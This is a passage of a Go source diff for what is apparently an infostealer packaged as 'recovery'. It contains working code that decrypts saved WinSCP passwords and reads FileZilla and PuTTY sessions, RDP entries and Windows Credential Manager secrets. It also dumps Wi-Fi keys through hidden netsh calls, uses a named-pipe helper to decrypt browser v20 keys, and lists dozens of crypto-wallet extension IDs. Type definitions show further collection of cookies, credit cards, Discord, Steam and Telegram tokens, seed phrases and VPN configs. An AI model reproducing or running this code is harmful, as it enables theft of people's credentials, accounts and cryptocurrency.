ret, _, _ := procRmStartSession.Call(
uintptr(unsafe.Pointer(&sessionHandle)), 0,
uintptr(unsafe.Pointer(sessionKey)),
)
if ret != 0 {
return nil
}
defer procRmEndSession.Call(uintptr(sessionHandle))
filePathW, err := syscall.UTF16PtrFromString(filePath)
if err != nil {
return nil
}
ret, _, _ = procRmRegisterResources.Call(
uintptr(sessionHandle), 1,
uintptr(unsafe.Pointer(&filePathW)),
0, 0, 0, 0,
)
if ret != 0 {
return nil
}
var needed, count, rebootReason uint32
ret, _, _ = procRmGetList.Call(
uintptr(sessionHandle),
uintptr(unsafe.Pointer(&needed)),
uintptr(unsafe.Pointer(&count)),
0,
uintptr(unsafe.Pointer(&rebootReason)),
)
if ret != 234 || needed == 0 {
return nil
}
infos := make([]rmProcessInfo2, needed)
count = needed
ret, _, _ = procRmGetList.Call(
uintptr(sessionHandle),
uintptr(unsafe.Pointer(&needed)),
uintptr(unsafe.Pointer(&count)),
uintptr(unsafe.Pointer(&infos[0])),
uintptr(unsafe.Pointer(&rebootReason)),
)
if ret != 0 {
return nil
}
pids := make([]uint32, 0, count)
for i := uint32(0); i < count; i++ {
pids = append(pids, infos[i].Process.ProcessId)
}
return pids
}
@@ -0,0 +1,7 @@
package platform
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[platform] "+format, args...)
}
@@ -0,0 +1,293 @@
//go:build windows
package platform
import (
"crypto/rand"
"encoding/hex"
"fmt"
"sync"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows"
)
type PipeSession struct {
mu sync.Mutex
hPipe windows.Handle
hProcess windows.Handle
pid uint32
ownsProcess bool
job windows.Handle
closed bool
}
var (
modKernel32Pipe = windows.NewLazySystemDLL("kernel32.dll")
modAdvapi32 = windows.NewLazySystemDLL("advapi32.dll")
procCreateNamedPipeW = modKernel32Pipe.NewProc("CreateNamedPipeW")
procConnectNamedPipe = modKernel32Pipe.NewProc("ConnectNamedPipe")
procDisconnectNamedPipe = modKernel32Pipe.NewProc("DisconnectNamedPipe")
procWaitForSingleObject = modKernel32Pipe.NewProc("WaitForSingleObject")
procPeekNamedPipe = modKernel32Pipe.NewProc("PeekNamedPipe")
)
func createPipeName() string {
b := make([]byte, 8)
rand.Read(b)
return fmt.Sprintf(`\\.\pipe\%s`, hex.EncodeToString(b))
}
func createPipeServer(pipeName string) (windows.Handle, error) {
namePtr, err := syscall.UTF16PtrFromString(pipeName)
if err != nil {
return 0, err
}
const (
PIPE_ACCESS_DUPLEX = 0x3
PIPE_TYPE_BYTE = 0x0
PIPE_READMODE_BYTE = 0x0
PIPE_WAIT = 0x0
PIPE_UNLIMITED_INSTANCES = 0xFF
)
r, _, err := procCreateNamedPipeW.Call(
uintptr(unsafe.Pointer(namePtr)),
PIPE_ACCESS_DUPLEX|windows.FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
65536, // output buffer
65536, // input buffer
15000, // timeout ms
0,
)
if r == ^uintptr(0) {
return 0, fmt.Errorf("CreateNamedPipeW: %w", err)
}
return windows.Handle(r), nil
}
func waitPipeConnect(hPipe windows.Handle, timeoutMs uint32) error {
hEvent, err := windows.CreateEvent(nil, 1, 0, nil)
if err != nil {
return fmt.Errorf("CreateEvent: %w", err)
}
defer windows.CloseHandle(hEvent)
ov := windows.Overlapped{HEvent: hEvent}
r, _, err := procConnectNamedPipe.Call(uintptr(hPipe), uintptr(unsafe.Pointer(&ov)))
if r != 0 {
return nil // already connected
}
if err == windows.ERROR_PIPE_CONNECTED {
return nil
}
if err != windows.ERROR_IO_PENDING {
return fmt.Errorf("ConnectNamedPipe: %w", err)
}
ret, _, _ := procWaitForSingleObject.Call(uintptr(hEvent), uintptr(timeoutMs))
if ret != uintptr(windows.WAIT_OBJECT_0) {
return fmt.Errorf("pipe connect timeout")
}
return nil
}
func (s *PipeSession) pipeSend(data []byte) error {
s.mu.Lock()
defer s.mu.Unlock()
if s.closed {
return fmt.Errorf("pipe session closed")
}
length := uint32(len(data))
lengthBytes := []byte{
byte(length),
byte(length >> 8),
byte(length >> 16),
byte(length >> 24),
}
var written uint32
err := windows.WriteFile(s.hPipe, lengthBytes, &written, nil)
if err != nil || written != 4 {
return fmt.Errorf("write length: %w", err)
}
if length > 0 {
var totalWritten uint32
for totalWritten < length {
var n uint32
err = windows.WriteFile(s.hPipe, data[totalWritten:], &n, nil)
if err != nil || n == 0 {
return fmt.Errorf("write data: %w", err)
}
totalWritten += n
}
}
return nil
}
func (s *PipeSession) pipeRecv() (status byte, data []byte, err error) {
s.mu.Lock()
defer s.mu.Unlock()
if s.closed {
return 0, nil, fmt.Errorf("pipe session closed")
}
var lengthBuf [4]byte
var totalRead uint32
deadline := time.Now().Add(10 * time.Second)
for totalRead < 4 {
if time.Now().After(deadline) {
return 0, nil, fmt.Errorf("pipe recv timeout")
}
var avail uint32
r, _, _ := procPeekNamedPipe.Call(uintptr(s.hPipe), 0, 0, 0, uintptr(unsafe.Pointer(&avail)), 0)
if r == 0 {
return 0, nil, fmt.Errorf("PeekNamedPipe failed")
}
if avail < 4-totalRead {
time.Sleep(50 * time.Millisecond)
continue
}
var n uint32
err = windows.ReadFile(s.hPipe, lengthBuf[totalRead:4], &n, nil)
if err != nil || n == 0 {
return 0, nil, fmt.Errorf("read length: %w", err)
}
totalRead += n
}
totalLen := uint32(lengthBuf[0]) | uint32(lengthBuf[1])<<8 | uint32(lengthBuf[2])<<16 | uint32(lengthBuf[3])<<24
if totalLen < 1 || totalLen > 100*1024*1024 {
return 0, nil, fmt.Errorf("invalid message length: %d", totalLen)
}
buf := make([]byte, totalLen)
totalRead = 0
for totalRead < totalLen {
var n uint32
err = windows.ReadFile(s.hPipe, buf[totalRead:], &n, nil)
if err != nil || n == 0 {
return 0, nil, fmt.Errorf("read data: %w", err)
}
totalRead += n
}
status = buf[0]
data = buf[1:]
return status, data, nil
}
func (s *PipeSession) Close() {
s.mu.Lock()
defer s.mu.Unlock()
if s.closed {
return
}
s.closed = true
s.sendExitLocked()
time.Sleep(100 * time.Millisecond)
procDisconnectNamedPipe.Call(uintptr(s.hPipe))
windows.CloseHandle(s.hPipe)
if s.ownsProcess && s.hProcess != 0 {
if s.job != 0 {
windows.CloseHandle(s.job)
s.job = 0
}
windows.TerminateProcess(s.hProcess, 0)
windows.WaitForSingleObject(s.hProcess, 3000)
windows.CloseHandle(s.hProcess)
} else if s.hProcess != 0 {
windows.CloseHandle(s.hProcess)
}
}
func (s *PipeSession) watchExit(label string, timeoutMs uint32) {
h := s.hProcess
if h == 0 {
return
}
go func() {
ret, _, _ := procWaitForSingleObject.Call(uintptr(h), uintptr(timeoutMs))
if ret != uintptr(windows.WAIT_OBJECT_0) {
return
}
s.mu.Lock()
wasClosed := s.closed
s.mu.Unlock()
if wasClosed {
return
}
var code uint32
if err := windows.GetExitCodeProcess(h, &code); err != nil {
return
}
logf("process %d (%s) died before pipe connect (exit code 0x%08x)", s.pid, label, code)
}()
}
func (s *PipeSession) sendExitLocked() {
exitCmd := []byte("EXIT")
length := uint32(len(exitCmd))
lengthBytes := []byte{byte(length), byte(length >> 8), byte(length >> 16), byte(length >> 24)}
windows.WriteFile(s.hPipe, lengthBytes, nil, nil)
windows.WriteFile(s.hPipe, exitCmd, nil, nil)
}
func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) {
cmd := fmt.Sprintf("KEY:%s:%s", browserName, encKeyBase64)
if err := s.pipeSend([]byte(cmd)); err != nil {
return nil, fmt.Errorf("send KEY command: %w", err)
}
status, data, err := s.pipeRecv()
if err != nil {
return nil, fmt.Errorf("recv KEY response: %w", err)
}
if status != 0 {
return nil, fmt.Errorf("decrypt failed: %s", string(data))
}
return data, nil
}
func (s *PipeSession) ReadFile(path string) ([]byte, error) {
cmd := fmt.Sprintf("READ:%s", path)
if err := s.pipeSend([]byte(cmd)); err != nil {
return nil, fmt.Errorf("send READ command: %w", err)
}
status, data, err := s.pipeRecv()
if err != nil {
return nil, fmt.Errorf("recv READ response: %w", err)
}
if status != 0 {
return nil, fmt.Errorf("read failed: %s", string(data))
}
return data, nil
}
var ActivePipeSession *PipeSession
@@ -0,0 +1,21 @@
//go:build !windows
package platform
import (
"errors"
)
type PipeSession struct{}
var ActivePipeSession *PipeSession
func (s *PipeSession) Close() {}
func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) {
return nil, errors.New("not supported")
}
func (s *PipeSession) ReadFile(path string) ([]byte, error) {
return nil, errors.New("not supported")
}
@@ -0,0 +1,60 @@
package recovery
import (
"recovery/recovery/fingerprint"
"recovery/recovery/scanner"
"recovery/recovery/types"
"recovery/recovery/ziputil"
)
type CollectOptions = types.CollectOptions
type CollectionResult = types.CollectionResult
type Payload = types.Payload
type BrowserConfig = types.BrowserConfig
type ProfileInfo = types.ProfileInfo
type ResolvedKeys = types.ResolvedKeys
type PasswordResult = types.PasswordResult
type CookieResult = types.CookieResult
type AutofillResult = types.AutofillResult
type HistoryResult = types.HistoryResult
type BookmarkResult = types.BookmarkResult
type CreditCardResult = types.CreditCardResult
type DiscordTokenResult = types.DiscordTokenResult
type FileResult = types.FileResult
type ExtensionResult = types.ExtensionResult
type WalletResult = types.WalletResult
type TelegramResult = types.TelegramResult
type KeyResult = types.KeyResult
type SeedResult = types.SeedResult
type AppCredentialResult = types.AppCredentialResult
type GamingResult = types.GamingResult
type SteamResult = types.SteamResult
type SteamTokenResult = types.SteamTokenResult
type GameInfo = types.GameInfo
type BattleNetResult = types.BattleNetResult
type EpicResult = types.EpicResult
type RiotResult = types.RiotResult
type UplayResult = types.UplayResult
type VPNResult = types.VPNResult
type NordVPNResult = types.NordVPNResult
type WireGuardResult = types.WireGuardResult
type OpenVPNResult = types.OpenVPNResult
type MullvadResult = types.MullvadResult
type FingerprintResult = fingerprint.Result
type FingerprintJSResult = fingerprint.JSResult
func ScanExtensions() []ExtensionResult { return scanner.ScanExtensions() }
func ScanFiles() []FileResult { return scanner.ScanFiles() }
func ScanWallets() []WalletResult { return scanner.ScanWallets() }
func ScanTelegram() []TelegramResult { return scanner.ScanTelegram() }
func ScanKeys() []KeyResult { return scanner.ScanKeys() }
func ScanApps() []AppCredentialResult { return scanner.ScanApps() }
func FetchFile(path string) ([]byte, error) { return scanner.FetchFile(path) }
func ZipTelegram(path string) ([]byte, error) { return scanner.ZipTelegram(path) }
func ZipDirectory(dir string) ([]byte, error) { return ziputil.ZipDirectory(dir) }
func CollectFingerprint() *FingerprintResult { return fingerprint.Collect() }
func CollectJSFingerprint() *FingerprintJSResult { return fingerprint.CollectJS() }
func ScanSeeds(files []FileResult, passwords []PasswordResult, autofill []AutofillResult) []SeedResult {
return scanner.ScanSeeds(files, passwords, autofill)
}
@@ -0,0 +1,137 @@
//go:build !windows
package scanner
import (
"encoding/xml"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"recovery/recovery/types"
)
func ScanApps() []types.AppCredentialResult {
var results []types.AppCredentialResult
results = append(results, scanFileZillaUnix()...)
if runtime.GOOS == "darwin" {
results = append(results, scanWiFiDarwin()...)
}
return results
}
type fzServerUnix struct {
XMLName xml.Name `xml:"Server"`
Host string `xml:"Host"`
Port int `xml:"Port"`
Protocol int `xml:"Protocol"`
User string `xml:"User"`
Pass string `xml:"Pass"`
}
type fzSiteManagerUnix struct {
XMLName xml.Name `xml:"FileZilla3"`
Servers []fzServerUnix `xml:"Servers>Server"`
}
type fzRecentServersUnix struct {
XMLName xml.Name `xml:"FileZilla3"`
Servers []fzServerUnix `xml:"RecentServers>Server"`
}
func scanFileZillaUnix() []types.AppCredentialResult {
var results []types.AppCredentialResult
home, _ := os.UserHomeDir()
if home == "" {
return nil
}
fzDir := filepath.Join(home, ".config", "filezilla")
if runtime.GOOS == "darwin" {
fzDir = filepath.Join(home, ".config", "filezilla")
}
for _, file := range []string{"sitemanager.xml", "recentservers.xml"} {
path := filepath.Join(fzDir, file)
data, err := os.ReadFile(path)
if err != nil {
continue
}
var servers []fzServerUnix
if file == "sitemanager.xml" {
var sm fzSiteManagerUnix
if xml.Unmarshal(data, &sm) == nil {
servers = sm.Servers
}
} else {
var rs fzRecentServersUnix
if xml.Unmarshal(data, &rs) == nil {
servers = rs.Servers
}
}
for _, s := range servers {
if s.Host == "" {
continue
}
port := s.Port
if port == 0 {
port = 21
}
protocol := "ftp"
switch s.Protocol {
case 1:
protocol = "sftp"
case 3, 4:
protocol = "ftps"
}
results = append(results, types.AppCredentialResult{
Application: "FileZilla",
Host: s.Host,
Port: port,
Username: s.User,
Password: s.Pass,
Protocol: protocol,
})
}
}
return results
}
func scanWiFiDarwin() []types.AppCredentialResult {
var results []types.AppCredentialResult
out, err := exec.Command("/usr/sbin/networksetup", "-listpreferredwirelessnetworks", "en0").Output()
if err != nil {
return nil
}
var networks []string
for _, line := range strings.Split(string(out), "\n") {
name := strings.TrimSpace(line)
if name == "" || strings.HasPrefix(name, "Preferred networks") {
continue
}
networks = append(networks, name)
}
for _, name := range networks {
pw, err := exec.Command("security", "find-generic-password", "-wa", name, "-D", "AirPort network password").Output()
password := ""
if err == nil {
password = strings.TrimSpace(string(pw))
}
results = append(results, types.AppCredentialResult{
Application: "WiFi",
Host: name,
Password: password,
Protocol: "wifi",
})
}
return results
}
@@ -0,0 +1,614 @@
//go:build windows
package scanner
import (
"encoding/xml"
"fmt"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
"recovery/recovery/types"
)
var (
advapi32 = syscall.NewLazyDLL("advapi32.dll")
procCredEnumerateW = advapi32.NewProc("CredEnumerateW")
procCredFree = advapi32.NewProc("CredFree")
)
const (
credTypeGeneric = 1
credTypeDomainPassword = 2
credTypeDomainCertificate = 3
)
type winCredential struct {
Flags uint32
Type uint32
TargetName *uint16
Comment *uint16
LastWritten syscall.Filetime
CredentialBlobSize uint32
CredentialBlob *byte
Persist uint32
AttributeCount uint32
Attributes uintptr
TargetAlias *uint16
UserName *uint16
}
func ScanApps() []types.AppCredentialResult {
var results []types.AppCredentialResult
results = append(results, scanRDP()...)
results = append(results, scanWinSCP()...)
results = append(results, scanPuTTY()...)
results = append(results, scanFileZilla()...)
results = append(results, scanCredentialManager()...)
results = append(results, scanWiFi()...)
return results
}
// ── RDP ────────────────────────────────────────────────────────────────
func scanRDP() []types.AppCredentialResult {
var results []types.AppCredentialResult
// Registry: saved connection history with usernames
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers`, registry.ENUMERATE_SUB_KEYS|registry.READ)
if err == nil {
defer k.Close()
servers, _ := k.ReadSubKeyNames(-1)
for _, server := range servers {
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers\`+server, registry.READ)
if err != nil {
continue
}
username, _, _ := sk.GetStringValue("UsernameHint")
sk.Close()
r := types.AppCredentialResult{
Application: "RDP",
Host: server,
Port: 3389,
Username: username,
Protocol: "rdp",
}
// Try to get the password from Credential Manager
pw := credManagerLookup("TERMSRV/" + server)
if pw != "" {
r.Password = pw
}
results = append(results, r)
}
}
// Also scan Credential Manager for TERMSRV/* entries not in the registry
creds := enumCredentials()
seen := make(map[string]bool)
for _, r := range results {
seen[strings.ToLower(r.Host)] = true
}
for _, c := range creds {
target := strings.ToLower(c.target)
if !strings.HasPrefix(target, "termsrv/") {
continue
}
host := c.target[len("TERMSRV/"):]
if seen[strings.ToLower(host)] {
continue
}
results = append(results, types.AppCredentialResult{
Application: "RDP",
Host: host,
Port: 3389,
Username: c.username,
Password: c.password,
Protocol: "rdp",
})
}
// Scan for .rdp files
results = append(results, scanRDPFiles()...)
return results
}
func scanRDPFiles() []types.AppCredentialResult {
var results []types.AppCredentialResult
home, _ := os.UserHomeDir()
if home == "" {
return nil
}
dirs := []string{
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
}
for _, dir := range dirs {
entries, err := os.ReadDir(dir)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".rdp") {
continue
}
path := filepath.Join(dir, e.Name())
data, err := os.ReadFile(path)
if err != nil || len(data) == 0 {
continue
}
r := parseRDPFile(string(data))
if r.Host != "" {
r.Extra = path
results = append(results, r)
}
}
}
return results
}
func parseRDPFile(content string) types.AppCredentialResult {
r := types.AppCredentialResult{
Application: "RDP",
Protocol: "rdp",
Port: 3389,
}
for _, line := range strings.Split(content, "\n") {
line = strings.TrimSpace(line)
parts := strings.SplitN(line, ":", 3)
if len(parts) < 3 {
continue
}
key := strings.ToLower(strings.TrimSpace(parts[0]))
val := strings.TrimSpace(parts[2])
switch key {
case "full address":
if idx := strings.LastIndex(val, ":"); idx > 0 {
if p, err := strconv.Atoi(val[idx+1:]); err == nil {
r.Host = val[:idx]
r.Port = p
continue
}
}
r.Host = val
case "username":
r.Username = val
case "server port":
if p, err := strconv.Atoi(val); err == nil {
r.Port = p
}
}
}
return r
}
// ── WinSCP ─────────────────────────────────────────────────────────────
func scanWinSCP() []types.AppCredentialResult {
var results []types.AppCredentialResult
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
if err != nil {
return nil
}
defer k.Close()
sessions, _ := k.ReadSubKeyNames(-1)
for _, sess := range sessions {
if sess == "Default%20Settings" {
continue
}
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions\`+sess, registry.READ)
if err != nil {
continue
}
hostname, _, _ := sk.GetStringValue("HostName")
username, _, _ := sk.GetStringValue("UserName")
portNum, _, _ := sk.GetIntegerValue("PortNumber")
encPassword, _, _ := sk.GetStringValue("Password")
fsProtocol, _, _ := sk.GetIntegerValue("FSProtocol")
sk.Close()
if hostname == "" {
continue
}
port := int(portNum)
if port == 0 {
port = 22
}
protocol := "sftp"
switch fsProtocol {
case 0:
protocol = "sftp"
case 5:
protocol = "ftp"
case 1:
protocol = "scp"
}
password := ""
if encPassword != "" {
password = decryptWinSCPPassword(encPassword, hostname, username)
}
results = append(results, types.AppCredentialResult{
Application: "WinSCP",
Host: hostname,
Port: port,
Username: username,
Password: password,
Protocol: protocol,
})
}
return results
}
func decryptWinSCPPassword(hex, hostname, username string) string {
key := username + hostname
decNextChar := func(s string, idx int) (byte, int) {
if idx+2 > len(s) {
return 0, idx + 2
}
a, err1 := strconv.ParseUint(string(s[idx]), 16, 8)
b, err2 := strconv.ParseUint(string(s[idx+1]), 16, 8)
if err1 != nil || err2 != nil {
return 0, idx + 2
}
return byte(0xFF ^ ((a<<4 | b) ^ 0xA3)), idx + 2
}
idx := 0
flag, idx := decNextChar(hex, idx)
if flag == 0xFF {
return ""
}
_, idx = decNextChar(hex, idx) // skip unused byte
length, idx := decNextChar(hex, idx)
delLen, idx := decNextChar(hex, idx)
for i := 0; i < int(delLen); i++ {
_, idx = decNextChar(hex, idx)
}
raw := make([]byte, 0, int(length))
for i := 0; i < int(length); i++ {
c, newIdx := decNextChar(hex, idx)
idx = newIdx
raw = append(raw, c)
}
if len(key) > 0 {
decrypted := make([]byte, len(raw))
for i, c := range raw {
decrypted[i] = c ^ key[i%len(key)]
}
return string(decrypted)
}
return string(raw)
}
// ── PuTTY ──────────────────────────────────────────────────────────────
func scanPuTTY() []types.AppCredentialResult {
var results []types.AppCredentialResult
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
if err != nil {
return nil
}
defer k.Close()
sessions, _ := k.ReadSubKeyNames(-1)
for _, sess := range sessions {
if sess == "Default%20Settings" {
continue
}
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions\`+sess, registry.READ)
if err != nil {
continue
}
hostname, _, _ := sk.GetStringValue("HostName")
username, _, _ := sk.GetStringValue("UserName")
portNum, _, _ := sk.GetIntegerValue("PortNumber")
protocol, _, _ := sk.GetStringValue("Protocol")
keyFile, _, _ := sk.GetStringValue("PublicKeyFile")
proxyHost, _, _ := sk.GetStringValue("ProxyHost")
sk.Close()
if hostname == "" {
continue
}
port := int(portNum)
if port == 0 {
port = 22
}
if protocol == "" {
protocol = "ssh"
}
extra := ""
if keyFile != "" || proxyHost != "" {
parts := []string{}
if keyFile != "" {
parts = append(parts, "key:"+keyFile)
}
if proxyHost != "" {
parts = append(parts, "proxy:"+proxyHost)
}
extra = strings.Join(parts, "; ")
}
// URL-decode session name for display purposes
decodedName := strings.ReplaceAll(sess, "%20", " ")
_ = decodedName
results = append(results, types.AppCredentialResult{
Application: "PuTTY",
Host: hostname,
Port: port,
Username: username,
Protocol: protocol,
Extra: extra,
})
}
return results
}
// ── FileZilla ──────────────────────────────────────────────────────────
type fzServer struct {
XMLName xml.Name `xml:"Server"`
Host string `xml:"Host"`
Port int `xml:"Port"`
Protocol int `xml:"Protocol"`
User string `xml:"User"`
Pass string `xml:"Pass"`
}
type fzSiteManager struct {
XMLName xml.Name `xml:"FileZilla3"`
Servers []fzServer `xml:"Servers>Server"`
}
type fzRecentServers struct {
XMLName xml.Name `xml:"FileZilla3"`
Servers []fzServer `xml:"RecentServers>Server"`
}
func scanFileZilla() []types.AppCredentialResult {
var results []types.AppCredentialResult
appdata := os.Getenv("APPDATA")
if appdata == "" {
return nil
}
fzDir := filepath.Join(appdata, "FileZilla")
for _, file := range []string{"sitemanager.xml", "recentservers.xml"} {
path := filepath.Join(fzDir, file)
data, err := os.ReadFile(path)
if err != nil {
continue
}
var servers []fzServer
if file == "sitemanager.xml" {
var sm fzSiteManager
if xml.Unmarshal(data, &sm) == nil {
servers = sm.Servers
}
} else {
var rs fzRecentServers
if xml.Unmarshal(data, &rs) == nil {
servers = rs.Servers
}
}
for _, s := range servers {
if s.Host == "" {
continue
}
port := s.Port
if port == 0 {
port = 21
}
protocol := "ftp"
switch s.Protocol {
case 1:
protocol = "sftp"
case 3, 4:
protocol = "ftps"
}
results = append(results, types.AppCredentialResult{
Application: "FileZilla",
Host: s.Host,
Port: port,
Username: s.User,
Password: s.Pass,
Protocol: protocol,
})
}
}
return results
}
// ── Windows Credential Manager ─────────────────────────────────────────
type credEntry struct {
target string
username string
password string
credType uint32
}
func enumCredentials() []credEntry {
var count uint32
var credsPtr uintptr
ret, _, _ := procCredEnumerateW.Call(
0,
0,
uintptr(unsafe.Pointer(&count)),
uintptr(unsafe.Pointer(&credsPtr)),
)
if ret == 0 || count == 0 {
return nil
}
defer procCredFree.Call(credsPtr)
var results []credEntry
for i := uint32(0); i < count; i++ {
entryPtr := *(*uintptr)(unsafe.Pointer(credsPtr + uintptr(i)*unsafe.Sizeof(uintptr(0))))
c := (*winCredential)(unsafe.Pointer(entryPtr))
target := windows.UTF16PtrToString(c.TargetName)
username := ""
if c.UserName != nil {
username = windows.UTF16PtrToString(c.UserName)
}
password := ""
if c.CredentialBlobSize > 0 && c.CredentialBlob != nil {
blob := unsafe.Slice(c.CredentialBlob, c.CredentialBlobSize)
password = string(blob)
}
results = append(results, credEntry{
target: target,
username: username,
password: password,
credType: c.Type,
})
}
return results
}
func credManagerLookup(target string) string {
target = strings.ToLower(target)
for _, c := range enumCredentials() {
if strings.ToLower(c.target) == target {
return c.password
}
}
return ""
}
func scanCredentialManager() []types.AppCredentialResult {
var results []types.AppCredentialResult
for _, c := range enumCredentials() {
target := strings.ToLower(c.target)
// Skip TERMSRV entries (already handled by RDP scanner)
if strings.HasPrefix(target, "termsrv/") {
continue
}
// Skip entries with no useful data
if c.username == "" && c.password == "" {
continue
}
typeName := "generic"
switch c.credType {
case credTypeDomainPassword:
typeName = "domain"
case credTypeDomainCertificate:
typeName = "certificate"
}
results = append(results, types.AppCredentialResult{
Application: "CredManager",
Host: c.target,
Username: c.username,
Password: c.password,
Protocol: typeName,
})
}
return results
}
// ── WiFi ───────────────────────────────────────────────────────────────
func scanWiFi() []types.AppCredentialResult {
var results []types.AppCredentialResult
cmd := exec.Command("netsh", "wlan", "show", "profiles")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
out, err := cmd.Output()
if err != nil {
return nil
}
var profiles []string
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if idx := strings.Index(line, ": "); idx >= 0 {
lower := strings.ToLower(line[:idx])
if strings.Contains(lower, "all user profile") || strings.Contains(lower, "profil") {
name := strings.TrimSpace(line[idx+2:])
if name != "" {
profiles = append(profiles, name)
}
}
}
}
for _, name := range profiles {
cmd := exec.Command("netsh", "wlan", "show", "profile", fmt.Sprintf("name=%s", name), "key=clear")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
out, err := cmd.Output()
if err != nil {
continue
}
password := ""
auth := ""
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if idx := strings.Index(line, ": "); idx >= 0 {
lower := strings.ToLower(line[:idx])
val := strings.TrimSpace(line[idx+2:])
if strings.Contains(lower, "key content") || strings.Contains(lower, "contenu") {
password = val
} else if strings.Contains(lower, "authentication") || strings.Contains(lower, "authentification") {
auth = val
}
}
}
results = append(results, types.AppCredentialResult{
Application: "WiFi",
Host: name,
Username: auth,
Password: password,
Protocol: "wifi",
})
}
return results
}
@@ -0,0 +1,147 @@
package scanner
import (
"encoding/json"
"os"
"path/filepath"
"strings"
"recovery/recovery/browser"
"recovery/recovery/types"
)
var knownWalletExtensions = map[string]string{
"bhghoamapcdpbohphigoooaddinpkbai": "Authenticator",
"fhbohimaelbohpjbbldcngcnapndodjp": "Binance",
"fihkakfobkmkjojpchpfgcmhfjnmnfpi": "Bitapp",
"aodkkagnadcbobfpggfnjeongemjbjca": "BoltX",
"aeachknmefphepccionboohckonoeemg": "Coin98",
"hnfanknocfeofbddgcijnmhnfnkdnaad": "Coinbase",
"agoakfejjabomempkjlepdflaleeobhb": "Core",
"pnlfjmlcjdjgkddecgincndfgegkecke": "Crocobit",
"blnieiiffboillknjnepogjhkgnoapac": "Equal",
"cgeeodpfagjceefieflmdfphplkenlfk": "Ever",
"aholpfdialjgjfhomihkjbmgjidlcdno": "ExodusWeb3",
"ebfidpplhabeedpnhjnobghokpiioolj": "Fewcha",
"cjmkndjhnagcfbpiemnkdpomccnjblmj": "Finnie",
"hpglfhgfnhbgpjdenjgmdgoeiappafln": "Guarda",
"nanjmdknhkinifnkgdcggcfnhdaammmj": "Guild",
"fnnegphlobjdpkhecapkijjdkgcjhkib": "Harmony",
"flpiciilemghbmfalicajoolhkkenfel": "Iconex",
"cjelfplplebdjjenllpjcblmjkfcffne": "Jaxx Liberty",
"jblndlipeogpafnldhgmapagcccfchpi": "Kaikas",
"pdadjkfkgcafgbceimcpbkalnfnepbnk": "KardiaChain",
"dmkamcknogkgcdfhhbddcghachkejeap": "Keplr",
"kpfopkelmapcoipemfendmdcghnegimn": "Liquality",
"nlbmnnijcnlegkjjpcfjclmcfggfefdm": "MEWCX",
"dngmlblcodfobpdpecaadgfbcggfjfnm": "MaiarDEFI",
"efbglgofoippbgcjepnhiblaibcnclgk": "Martian",
"afbcbjpbpfadlkmhmclhkeeodmamcflc": "Math",
"nkbihfbeogaeaoehlefnkodbefgpgknn": "Metamask",
"ejbalbakoplchlghecdalmeeeajnimhm": "Metamask",
"fcckkdbjnoikooededlapcalpionmalo": "Mobox",
"lpfcbjknijpeeillifnkikgncikgfhdo": "Nami",
"jbdaocneiiinmjbjlgalhcelgbejmnid": "Nifty",
"fhilaheimglignddkjgofkcbgekhenbh": "Oxygen",
"mgffkfbidihjpoaomajlbgchddlicgpn": "PaliWallet",
"ejjladinnckdgjemekebdpeokbikhfci": "Petra",
"bfnaelmomeimhlpmgjnjophhpkkoljpa": "Phantom",
"phkbamefinggmakgklpkljjmgibohnba": "Pontem",
"fnjhmkhhmkbjkkabndcnnogagogbneec": "Ronin",
"lgmpcpglpngdoalbgeoldeajfclnhafa": "Safepal",
"nkddgncdjgjfcddamfgcmfnlhccnimig": "Saturn",
"pocmplpaccanhmnllbbkpgfliimjljgo": "Slope",
"bhhhlbepdkbapadjdnnojkbgioiodbic": "Solflare",
"fhmfendgdocmcbmfikdcogofphimnkno": "Sollet",
"mfhbebgoclkghebffdldpobeajmbecfk": "Starcoin",
"cmndjbecilbocjfkibfbifhngkdmjgog": "Swash",
"ookjlbkiijinhpmnjffcofjonbfbgaoc": "TempleTezos",
"aiifbnbfobpmeekipheeijimdpnlpgpp": "TerraStation",
"mfgccjchihfkkindfppnaooecgfneiii": "Tokenpocket",
"nphplpgoakhhjchkkhmiggakijnkhfnd": "Ton",
"ibnejdfjmmkpcnlpebklmnkoeoihofec": "Tron",
"egjidjbpglichdcondbcbdnbeeppgdph": "Trust Wallet",
"amkmjjmmflddogmhpjloimipbofnfjih": "Wombat",
"hmeobnfnfcmdkdcmlblgagmfpfboieaf": "XDEFI",
"eigblbgjknlfbajkfhopmcojidlgcehm": "XMR.PT",
"bocpokimicclpaiekenaeelehdjllofo": "XinPay",
"ffnbelfdoeiohenkjibnmadjiehjhajb": "Yoroi",
"kncchdigobghenbbaddojjnnaogfppfj": "iWallet",
}
func ScanExtensions() []types.ExtensionResult {
var results []types.ExtensionResult
for _, cfg := range browser.Browsers {
if cfg.IsFirefox {
continue
}
profiles := browser.FindProfileDirs(cfg)
for _, profile := range profiles {
extDir := filepath.Join(profile.Path, "Extensions")
entries, err := os.ReadDir(extDir)
